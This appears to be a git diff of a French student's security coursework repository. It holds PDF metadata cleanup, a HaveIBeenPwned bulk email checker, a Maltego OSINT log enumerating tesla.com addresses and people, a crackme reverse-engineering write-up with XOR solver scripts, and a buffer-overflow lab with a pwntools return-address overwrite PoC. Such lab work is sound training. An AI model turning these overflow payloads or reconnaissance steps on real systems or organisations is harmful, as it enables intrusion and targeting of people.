Producer : Adobe PDF Library 17.0
Trapped : False
Creator Work Telephone : [Ca je censure pour ici, faut pas déconner]
Creator Work Email : [Ca je censure pour ici, faut pas déconner]
Creator Work URL : https://gauvainboiche.bzh
Creator City : [Ca je censure pour ici, faut pas déconner]
Creator Country : [Ca je censure pour ici, faut pas déconner]
Creator Postal Code : [Ca je censure pour ici, faut pas déconner]
Page Layout : OneColumn
Page Count : 1
Profile CMM Type : Linotronic
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 1998:02:09 06:49:00
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : Hewlett-Packard
Device Model : sRGB
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Hewlett-Packard
Profile ID : 0
Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company
Profile Description : sRGB IEC61966-2.1
Media White Point : 0.95045 1 1.08905
Media Black Point : 0 0 0
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Device Mfg Desc : IEC http://www.iec.ch
Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant : 19.6445 20.3718 16.8089
Viewing Cond Surround : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type : D50
Luminance : 76.03647 80 87.12462
Measurement Observer : CIE 1931
Measurement Backing : 0 0 0
Measurement Geometry : Unknown
Measurement Flare : 0.999%
Measurement Illuminant : D65
Technology : Cathode Ray Tube Display
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Author : Gauvain BOICHë
```
C'est déjà plus rigolo. Mais contrôlé.
Voici un effet de nettoyage du PDF :
```powershell
> exiftool .\TP4_BOICHE_Gauvain.pdf
ExifTool Version Number : 13.59
File Name : TP4_BOICHE_Gauvain.pdf
Directory : .
File Size : 794 kB
File Modification Date/Time : 2026:06:09 17:14:56+02:00
File Access Date/Time : 2026:06:09 17:16:22+02:00
File Creation Date/Time : 2026:06:09 15:52:39+02:00
File Permissions : -rw-rw-rw-
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 7
Tagged PDF : Yes
Language : en-US
Title : TP4_BOICHE_Gauvain.md
Creator : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Producer : Skia/PDF m149
Create Date : 2026:06:09 15:14:55+00:00
Modify Date : 2026:06:09 15:14:55+00:00
> exiftool -all= .\TP4_BOICHE_Gauvain.pdf
Warning: [minor] ExifTool PDF edits are reversible. Deleted tags may be recovered! - ./TP4_BOICHE_Gauvain.pdf
1 image files updated
> exiftool .\TP4_BOICHE_Gauvain.pdf
ExifTool Version Number : 13.59
File Name : TP4_BOICHE_Gauvain.pdf
Directory : .
File Size : 794 kB
File Modification Date/Time : 2026:06:09 17:21:50+02:00
File Access Date/Time : 2026:06:09 17:21:50+02:00
File Creation Date/Time : 2026:06:09 15:52:39+02:00
File Permissions : -rw-rw-rw-
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 7
Tagged PDF : Yes
Language : en-US
```
Binary file not shown.
+104
View File
@@ -0,0 +1,104 @@
import os
import csv
import time
import urllib.parse
import requests
INPUT_FILE = "./addresses.txt"
OUTPUT_FILE = "./resultats_hibp.csv"
API_KEY = "API_KEY"
USER_AGENT = "Python-HIBP-Bulk-Checker"
BASE_URL = "https://haveibeenpwned.com/api/v3/breachedaccount/"
def check_email(email, api_key):
encoded_email = urllib.parse.quote(email.strip())
url = f"{BASE_URL}{encoded_email}?truncateResponse=true"
headers = {
"hibp-api-key": api_key,
"user-agent": USER_AGENT
}
while True:
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
# Found breaches
data = response.json()
breach_names = [breach['Name'] for breach in data]
return "Compromis (Pwned)", len(breach_names), "; ".join(breach_names)
elif response.status_code == 404:
# Didn't find anything, means no breach or email doesn't exists
return "Sûr (Clean)", 0, ""
# Exceptions (technicalities)
elif response.status_code == 429:
retry_after = int(response.headers.get("Retry-After", 2))
print(f" [!] Limite de requêtes atteinte. Pause forcée de {retry_after} secondes...")
time.sleep(retry_after)
continue
elif response.status_code == 401:
return "Erreur (Clé API invalide ou manquante)", 0, ""
elif response.status_code == 403:
return "Erreur (Accès interdit / User-Agent bloqué)", 0, ""
else:
return f"Erreur (Code HTTP {response.status_code})", 0, ""
except requests.exceptions.RequestException as e:
return f"Erreur de connexion ({str(e)})", 0, ""
def main():
if not os.path.exists(INPUT_FILE):
print(f"[-] Erreur : Le fichier '{INPUT_FILE}' est introuvable.")
print(f"[*] Veuillez créer un fichier texte nommé '{INPUT_FILE}' à côté du script,")
print("[*] et ajoutez-y une adresse email par ligne.")
return
if API_KEY == "VOTRE_CLE_API_ICI" or not API_KEY:
print("[!] Attention : N'oubliez pas d'insérer votre clé API HaveIBeenPwned dans la variable 'API_KEY'.")
print("[!] L'API v3 de HIBP nécessite obligatoirement une clé authentifiée (abonnement payant).")
print("-" * 60)
with open(INPUT_FILE, "r", encoding="utf-8") as f:
emails = [line.strip() for line in f if line.strip()]
if not emails:
print(f"[-] Le fichier '{INPUT_FILE}' est vide. Aucune adresse à analyser.")
return
print(f"[*] Démarrage de l'analyse pour {len(emails)} adresse(s) email...")
print(f"[*] Les résultats seront enregistrés dans '{OUTPUT_FILE}'.\n")
with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile:
writer = csv.writer(csvfile)
writer.writerow(["Email", "Statut", "Nombre de Breches", "Liste des Breches"])
for index, email in enumerate(emails, 1):
print(f"[{index}/{len(emails)}] Analyse de : {email} ...")
status, count, breaches = check_email(email, API_KEY)
writer.writerow([email, status, count, breaches])
if count > 0:
# Has Been PWNED
print(f" -> {status} ! Trouvé dans {count} brèche(s) : {breaches}")
elif status == "Sûr (Clean)":
# Hasn't been
print(" -> Aucun problème détecté.")
else:
# Exception
print(f" -> {status}")
time.sleep(1.5)
print(f"\n[+] Analyse terminée avec succès !")
print(f"[+] Fichier de résultats généré : '{OUTPUT_FILE}'")
if __name__ == "__main__":
main()
Binary file not shown.

After

Width:  |  Height:  |  Size: 558 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 564 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 688 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 177 KiB

+31
View File
@@ -0,0 +1,31 @@
[6/9/26, 10:05 AM] INFO Running transform [Utilities] To DNS Name (interesting) [SecurityTrails] on 1 entities (from entity "tesla.com")
[6/9/26, 10:05 AM] INFO Transform [Utilities] To DNS Name (interesting) [SecurityTrails] completed in 4 s 372 ms with 24 entities returned (from entity "tesla.com")
[6/9/26, 10:08 AM] INFO Running transform [Utilities] To IP Address [DNS] on 24 entities (from 24 entities)
[6/9/26, 10:08 AM] WARNING DNS record not found (from 24 entities)
[6/9/26, 10:09 AM] WARNING No answer (from 24 entities)
[6/9/26, 10:09 AM] WARNING DNS record not found (from 24 entities)
[6/9/26, 10:09 AM] INFO Transform [Utilities] To IP Address [DNS] completed in 6 s 481 ms with 27 entities returned (from 24 entities)
[6/9/26, 10:09 AM] INFO Running transform [Utilities] To Email address [From whois info] on 16 entities (from 16 entities)
[6/9/26, 10:09 AM] INFO Transform [Utilities] To Email address [From whois info] completed in 4 s 579 ms with 69 entities returned (from 16 entities)
[6/9/26, 10:46 AM] INFO Running transform [Utilities] To Emails @domain [Search Engine] on 1 entities (from entity "tesla.com")
[6/9/26, 10:47 AM] INFO Transform [Utilities] To Emails @domain [Search Engine] completed in 13 s 911 ms with 10 entities returned (from entity "tesla.com")
[6/9/26, 10:51 AM] INFO Running transform [Utilities] To IP Address [DNS] on 7 entities (from 7 entities)
[6/9/26, 10:51 AM] WARNING DNS record not found (from 7 entities)
[6/9/26, 10:51 AM] WARNING No answer (from 7 entities)
[6/9/26, 10:51 AM] WARNING DNS record not found (from 7 entities)
[6/9/26, 10:51 AM] INFO Transform [Utilities] To IP Address [DNS] completed in 2 s 210 ms (from 7 entities)
[6/9/26, 10:52 AM] INFO Running transform [Utilities] To Email Addresses [Search Engine] on 1 entities (from entity "tesla.com")
[6/9/26, 10:52 AM] INFO Transform [Utilities] To Email Addresses [Search Engine] completed in 13 s 668 ms with 3 entities returned (from entity "tesla.com")
[6/9/26, 10:52 AM] INFO Running transform [Utilities] To Emails @domain [Search Engine] on 1 entities (from entity "tesla.com")
[6/9/26, 10:53 AM] INFO Transform [Utilities] To Emails @domain [Search Engine] completed in 14 s 688 ms with 10 entities returned (from entity "tesla.com")
[6/9/26, 11:06 AM] INFO Running transform [Utilities] To Email Addresses [PGP] on 1 entities (from entity "tesla.com")
[6/9/26, 11:06 AM] INFO Transform [Utilities] To Email Addresses [PGP] completed in 2 s 862 ms with 24 entities returned (from entity "tesla.com")
[6/9/26, 11:19 AM] INFO Running transform [Utilities] To Files (Office) [Search Engine] on 1 entities (from entity "tesla.com")
[6/9/26, 11:19 AM] INFO Transform [Utilities] To Files (Office) [Search Engine] completed in 4 s 226 ms with 23 entities returned (from entity "tesla.com")
[6/9/26, 11:20 AM] INFO Running transform [Utilities] Parse meta information on 4 entities (from 4 entities)
[6/9/26, 11:20 AM] INFO Transform [Utilities] Parse meta information completed in 2 s 774 ms with 8 entities returned (from 4 entities)
[6/9/26, 11:22 AM] INFO Running transform [Utilities] To Person [PGP] on 37 entities (from 37 entities)
[6/9/26, 11:22 AM] INFO Transform [Utilities] To Person [PGP] completed in 7 s 833 ms with 31 entities returned (from 37 entities)
[6/9/26, 11:56 AM] INFO Running transform [Utilities] To Snapshots of Files (MimeType) [Wayback Machine] on 1 entities (from entity "tesla.com")
[6/9/26, 11:57 AM] WARNING Exception: Could not connect to Wayback server (from entity "tesla.com")
[6/9/26, 11:57 AM] INFO Transform [Utilities] To Snapshots of Files (MimeType) [Wayback Machine] completed in 32 s 8 ms (from entity "tesla.com")
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

+1
View File
@@ -0,0 +1 @@
3.12
View File
+145
View File
@@ -0,0 +1,145 @@
# TP5 - Florian POMPIDOU
## Fichier reçu
Le client a reçu un fichier `crackme_esdi` ce matin.
En première analyse :
- `file ` : ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, [...] for GNU/Linux 3.2.0, stripped
- `objdump -f` : file format elf64-x86-64, architecture: i386:x86-64, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED
- `strings ` : Le contenu mentionne un CTF{mot_de_passe}, et surtout un `Usage: %s <password>`
Un petit binaire sensé renvoyer un string si on entre le bon mot de passe. En apparence, rien ne permet de voir si un sous-programme s'exécute.
## GDB
Avec GDB, on peut voir un point d'entrée à l'adresse `0x401060`. Un `disas` ne marche pas, le programme est stripped.
J'ai fait un `x/30i 0x401060` (e`x`amine `30` éléments comme `i`nstructions) et j'ai reçu des données assembleur :
```c
0x401060: xor %ebp,%ebp
0x401062: mov %rdx,%r9
0x401065: pop %rsi
0x401066: mov %rsp,%rdx
0x401069: and $0xfffffffffffffff0,%rsp
0x40106d: push %rax
0x40106e: push %rsp
0x40106f: xor %r8d,%r8d
0x401072: xor %ecx,%ecx
0x401074: mov $0x4011fa,%rdi
0x40107b: call *0x2f57(%rip) # 0x403fd8
0x401081: hlt
0x401082: cs nopw 0x0(%rax,%rax,1)
0x40108c: nopl 0x0(%rax)
0x401090: ret
0x401091: cs nopw 0x0(%rax,%rax,1)
0x40109b: nopl 0x0(%rax,%rax,1)
0x4010a0: mov $0x404028,%eax
0x4010a5: cmp $0x404028,%rax
0x4010ab: je 0x4010c0
0x4010ad: mov $0x0,%eax
0x4010b2: test %rax,%rax
0x4010b5: je 0x4010c0
0x4010b7: mov $0x404028,%edi
0x4010bc: jmp *%rax
0x4010be: xchg %ax,%ax
0x4010c0: ret
0x4010c1: data16 cs nopw 0x0(%rax,%rax,1)
0x4010cc: nopl 0x0(%rax)
0x4010d0: mov $0x404028,%esi
```
Je vois l'adresse `0x4011fa` qui inscrit dans le registre RDI. Je fouille 40 éléments dessus.
Décortiquage :
1. `0x401209: cmpl $0x2,-0x4(%rbp)` => le programme attend deux `argc`, sous le format `./binaire <argument>`, comme le texte "Usage:" le laissait entendre, avec un `je` (Jump if Equal) qui enquille
2. Si le `je` n'est pas activé, il continue et renvoie un premier `call` de la fonction `<printf@plt>`, certainement le texte "Usage:" en question, avec un `jmp`
3. `0x40123f: mov (%rax),%rax` => L'argument du binaire est mis dans le registre RDI et appelle la fonction adresse `0x401146`, avant un `test` type `%eax`
4. Si le résultat n'est pas égal à 0 (donc pas de renvoi *False*), un `jne` (Jump if Not Equal) envoie le résultat sur une deuxième vérification adresse `0x401277`
5. Si le deuxième test renvoie 0, il appelle un premier `<puts@plt>`, certainement un message d'erreur
6. Si non, il renvoie une dernière fois à un `call` qui renvoie à un `jne` qui renvoie le résultat à l'adresse `0x401291`. C'est très certainement là qu'on a la fonction de fin réussie
### Les messages des fonctions :
Les adresses en questions sont en commentaires des lignes `lea` :
- `x/s 0x402008` : `0x402008: "Usage: %s <password>\n"`
- `x/s 0x40201e` : `0x40201e: "[-] Incorrect length."`
- `x/s 0x402034` : `0x402034: "[-] Checksum failed."`
Je retrouve les informations du `strings ./crackme_esdi` du début.
### Analyse de lignes supplémentaires
Avec un `x/20i 0x401280` je continue l'affichage des fonctions, et je relève les adresses en commentaires des `lea` :
- `x/s 0x402049` : `0x402049: "[-] Access denied."`
- `x/s 0x402060` : `0x402060: "[+] Access granted! Flag: CTF{3l1t3_R3v3rs3r}"`
J'obtiens le résultat, mais je poursuis en cherchant les deux adresses `call` vues plus haut suite au `x/40i 0x4011fa`, à savoir les adresses `0x401146` et `0x40116a`.
Je peux m'arrêter à `0x401146`, qui sort un `cmp $0xe,%rax`. Une conversion HEXA => DEC me donne 0xe comme "14". La taille du mot de passe du "CTF{}".
## Script Python
Pour automatiser le processus, il faut considérer qu'un script ne lira PAS le code en clair dans le retour de fonction finale. Non, il faut qu'il trouve la valeur dans le binaire.
### Déchiffrer les HURDLE
Deux adresses derrière des fonctions de comparaison `cmp` (est-ce que le mot de passe en argument est égal au mot de passe dans la fonction ?) : `0x401190` et `0x4011a8`. Les résultats sont tombés :
- `0x4011c6: movzbl (%rax),%eax ` : Charge un caractère de ton mot de passe : password[i]
- `0x4011c9: xor $0x42,%eax ` : Fait un XOR avec 0x42 (66 en décimal, ou le caractère 'B')
- `0x4011cc: mov %eax,%ecx ` : Stocke le résultat dans %cl
- `0x4011d3: lea 0xeb6(%rip),%rdx ` : Calcule l'adresse de la clef cachée : 0x402090
- `0x4011da: movzbl (%rax,%rdx,1),%eax` : Charge le vrai octet attendu : secret[i]
- `0x4011de: cmp %al,%cl ` : Comparaison /!\
- `0x4011e0: je 0x4011e9 ` : Si c'est égal, on passe au caractère suivant
On sait par la ligne `0x4011d3`, de par son commentaire, que la clef est dans l'adresse `0x402090`.
Dont le contenu est tel :
```c
0x402090: 0x71 0x2e 0x73 0x36 0x71 0x1d 0x10 0x71
0x402098: 0x34 0x71 0x30 0x31 0x71 0x30
```
## Retour au script
Plutôt que "cracker" le mot de passe, on "traduit" juste ces valeurs avec le script quand on a fait le travail manuellement comme tantôt.
## Script semi force-brute
Dans le cas où le script doit tout faire, il doit trouver :
1. La longueur du mot de passe attendue (14)
2. Les adresses/offset de 14 caractères
3. Les inscrire en base
4. Trouver l'endroit où le script renvoie un succès
5. Les tenter un par un jusqu'à validation en décodant l'adresse accédée au bon endroit
Le script attaché fonctionne. Voici le résultat sur une machine Linux (essentiel, pour les binaires ELF) :
```bash
┌──(kali㉿GAWIN)-[~/TP5]
└─$ uv run solve_crackme.py
[*] '/home/kali/TP5/crackme_esdi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[*] Démarrage de la résolution automatique de ./crackme_esdi...
[+] 34 candidats potentiels identifiés.
[*] Validation dynamique des candidats via exécution...
[+] Crackme résolu : valeur = 3l1t3_R3v3rs3r
```
![alt text](image.png)
Binary file not shown.
Binary file not shown.
+104
View File
@@ -0,0 +1,104 @@
# TP6 - Florian POMPIDOU
> Le binaire vuln_esdi a été découvert dans un audit de code. Le client suspecte un buffer overflow dans la fonction de parsing des arguments. Votre mission : confirmer la vulnérabilité, mesurer le décalage jusqu'au registre de retour, et produire un PoC Python qui détourne le flot d'exécution vers une fonction cachée (win()) présente dans le binaire.
## Analyses basiques
Formules basiques pour extraire la structure du fichier :
```bash
$ sha256sum vuln_esdi
6cf9d82d8d0023add3f211d65169de28264ce845795d6c384ef53da613f3c48c vuln_esdi
$ file vuln_esdi
vuln_esdi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ad96f823633c23654741962598e101b58be3bd09, for GNU/Linux 3.2.0, not stripped
$ objdump -f vuln_esdi
vuln_esdi: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401070
$ strings vuln_esdi
[...]
[+] Congratulations! You've redirected execution to win()!
[+] Flag: CTF{b0f_m4st3r}
[...]
```
## Mise en place d'un analyseur profond Python
### Analyse GDB basique
```bash
gdb ./vuln_esdi
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 printf@plt
0x0000000000401050 gets@plt
0x0000000000401060 fflush@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401156 win
0x000000000040117b vulnerable
0x00000000004011d0 main
0x0000000000401204 _fini
(gdb) print win
$1 = {<text variable, no debug info>} 0x401156 <win>
```
### Amorce de l'environnement
En amorce du projet, déployer un environnement Python cloisonné :
```bash
uv init
uv run main.py
uv run .venv/bin/activate_this.py
uv add pwn
chmod +x vuln_esdi
```
### Script importé pour trouver le pattern disruptif
```py
from pwn import *
pattern = cyclic(200)
p = process('./vuln_esdi')
print(pattern)
print(f"Le PATTERN a une longueur de {len(pattern)} caractères.")
p.sendline(pattern)
p.wait()
```
Dans GDB :
```bash
(gdb) run < <(python3 -c "from pwn import *; print(cyclic(200))")
Starting program: /home/kali/TP6/vuln_esdi < <(python3 -c "from pwn import *; print(cyclic(200))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to SecureApp v1.0
Enter your name: Hello, b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'!
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011cf in vulnerable ()
(gdb) !python3 -c "from pwn import *; print(cyclic_find(0x6174616161736161, n=8))"
63272450
```
### ABANDON
Binary file not shown.
Binary file not shown.
Binary file not shown.
+19
View File
@@ -0,0 +1,19 @@
from pwn import *
elf = ELF('./vuln_esdi')
win_addr = 0x401156
offset = 272
ret_addr = 0x401016
# Ajoute un argument fictif pour win() (ex: 0xdeadbeef)
fake_arg = 0xdeadbeef
payload = b'A' * offset
payload += p64(ret_addr) # Alignement
payload += p64(win_addr) # Adresse de win()
payload += p64(fake_arg) # Argument pour win()
p = process('./vuln_esdi')
p.recvuntil(b"Enter your name: ")
p.sendline(payload)
p.interactive()
Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

+6
View File
@@ -0,0 +1,6 @@
def main():
print("Hello from jour-03!")
if __name__ == "__main__":
main()
+9
View File
@@ -0,0 +1,9 @@
from pwn import *
pattern = cyclic(200)
p = process('./vuln_esdi')
print(pattern)
print(f"Le PATTERN a une longueur de {len(pattern)} caractères.")
p.sendline(pattern)
p.wait()
+9
View File
@@ -0,0 +1,9 @@
[project]
name = "jour-03"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
requires-python = ">=3.12"
dependencies = [
"pwn>=1.0",
]
+77
View File
@@ -0,0 +1,77 @@
### Ne marche que sur LINUX, puisque dépendant de ELF.
import subprocess
import sys
import string
from pwn import context, ELF
context.binary = './crackme_esdi'
def auto_extract_candidates(binary_path):
"""
Analyse le binaire et extrait TOUTES les suites d'octets qui,
après un XOR 0x42, donnent une chaîne imprimable de 14 caractères.
"""
candidates = []
try:
elf = ELF(binary_path, checksec=False)
rodata = elf.get_section_by_name('.rodata')
data_bytes = rodata.data()
except Exception:
with open(binary_path, 'rb') as f:
data_bytes = f.read()
password_length = 14
xor_key = 0x42
printable_charset = set(string.printable.encode('ascii'))
# Correction du Off-By-One : ajout du + 1 pour inclure le dernier bloc du fichier
for i in range(len(data_bytes) - password_length + 1):
window = data_bytes[i : i + password_length]
candidate_bytes = bytes(b ^ xor_key for b in window)
# Validation des caractères ASCII lisibles
if all(b in printable_charset and 32 <= b <= 126 for b in candidate_bytes):
try:
candidate_str = candidate_bytes.decode('ascii').strip()
if len(candidate_str) == password_length:
candidates.append(candidate_str)
except UnicodeDecodeError:
continue
return list(set(candidates))
def verify_and_run(binary_path, password):
"""
Exécute le binaire avec la valeur trouvée et valide la sortie.
"""
result = subprocess.run(
[binary_path, password],
capture_output=True,
text=True
)
output = result.stdout + result.stderr
if "Incorrect length" not in output and "Checksum failed" not in output:
return True
return False
def main():
binary_path = './crackme_esdi'
print(f"[*] Démarrage de la résolution automatique de {binary_path}...")
candidates = auto_extract_candidates(binary_path)
print(f"[+] {len(candidates)} candidats potentiels identifiés.")
print("[*] Validation dynamique des candidats via exécution...")
for candidate in candidates:
if verify_and_run(binary_path, candidate):
print(f"[+] Crackme résolu : valeur = {candidate}")
sys.exit(0)
print("[-] Échec : Aucun candidat n'a réussi à déverrouiller le binaire.")
sys.exit(1)
if __name__ == '__main__':
main()
@@ -0,0 +1,28 @@
import sys
def solve():
binary_path = './crackme_esdi'
# L'adresse virtuelle 0x402090 dans un binaire sans PIE (base 0x400000)
# correspond à l'offset fichier 0x2090
file_offset = 0x2090
password_length = 14
xor_key = 0x42
try:
with open(binary_path, 'rb') as f:
f.seek(file_offset)
encrypted_bytes = f.read(password_length)
# Application du XOR inverse pour casser le chiffrement
password = "".join(chr(b ^ xor_key) for b in encrypted_bytes)
print(f"[+] Crackme résolu : valeur = {password}")
except FileNotFoundError:
print(f"[-] Erreur : Le fichier {binary_path} est introuvable.")
except Exception as e:
print(f"[-] Une erreur est survenue : {e}")
if __name__ == '__main__':
solve()
+790
View File
@@ -0,0 +1,790 @@
version = 1
revision = 3
requires-python = ">=3.12"
[[package]]
name = "bcrypt"
version = "5.0.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d4/36/3329e2518d70ad8e2e5817d5a4cac6bba05a47767ec416c7d020a965f408/bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd", size = 25386, upload-time = "2025-09-25T19:50:47.829Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/13/85/3e65e01985fddf25b64ca67275bb5bdb4040bd1a53b66d355c6c37c8a680/bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be", size = 481806, upload-time = "2025-09-25T19:49:05.102Z" },
{ url = "https://files.pythonhosted.org/packages/44/dc/01eb79f12b177017a726cbf78330eb0eb442fae0e7b3dfd84ea2849552f3/bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2", size = 268626, upload-time = "2025-09-25T19:49:06.723Z" },
{ url = "https://files.pythonhosted.org/packages/8c/cf/e82388ad5959c40d6afd94fb4743cc077129d45b952d46bdc3180310e2df/bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f", size = 271853, upload-time = "2025-09-25T19:49:08.028Z" },
{ url = "https://files.pythonhosted.org/packages/ec/86/7134b9dae7cf0efa85671651341f6afa695857fae172615e960fb6a466fa/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86", size = 269793, upload-time = "2025-09-25T19:49:09.727Z" },
{ url = "https://files.pythonhosted.org/packages/cc/82/6296688ac1b9e503d034e7d0614d56e80c5d1a08402ff856a4549cb59207/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23", size = 289930, upload-time = "2025-09-25T19:49:11.204Z" },
{ url = "https://files.pythonhosted.org/packages/d1/18/884a44aa47f2a3b88dd09bc05a1e40b57878ecd111d17e5bba6f09f8bb77/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2", size = 272194, upload-time = "2025-09-25T19:49:12.524Z" },
{ url = "https://files.pythonhosted.org/packages/0e/8f/371a3ab33c6982070b674f1788e05b656cfbf5685894acbfef0c65483a59/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83", size = 269381, upload-time = "2025-09-25T19:49:14.308Z" },
{ url = "https://files.pythonhosted.org/packages/b1/34/7e4e6abb7a8778db6422e88b1f06eb07c47682313997ee8a8f9352e5a6f1/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746", size = 271750, upload-time = "2025-09-25T19:49:15.584Z" },
{ url = "https://files.pythonhosted.org/packages/c0/1b/54f416be2499bd72123c70d98d36c6cd61a4e33d9b89562c22481c81bb30/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e", size = 303757, upload-time = "2025-09-25T19:49:17.244Z" },
{ url = "https://files.pythonhosted.org/packages/13/62/062c24c7bcf9d2826a1a843d0d605c65a755bc98002923d01fd61270705a/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d", size = 306740, upload-time = "2025-09-25T19:49:18.693Z" },
{ url = "https://files.pythonhosted.org/packages/d5/c8/1fdbfc8c0f20875b6b4020f3c7dc447b8de60aa0be5faaf009d24242aec9/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba", size = 334197, upload-time = "2025-09-25T19:49:20.523Z" },
{ url = "https://files.pythonhosted.org/packages/a6/c1/8b84545382d75bef226fbc6588af0f7b7d095f7cd6a670b42a86243183cd/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41", size = 352974, upload-time = "2025-09-25T19:49:22.254Z" },
{ url = "https://files.pythonhosted.org/packages/10/a6/ffb49d4254ed085e62e3e5dd05982b4393e32fe1e49bb1130186617c29cd/bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861", size = 148498, upload-time = "2025-09-25T19:49:24.134Z" },
{ url = "https://files.pythonhosted.org/packages/48/a9/259559edc85258b6d5fc5471a62a3299a6aa37a6611a169756bf4689323c/bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e", size = 145853, upload-time = "2025-09-25T19:49:25.702Z" },
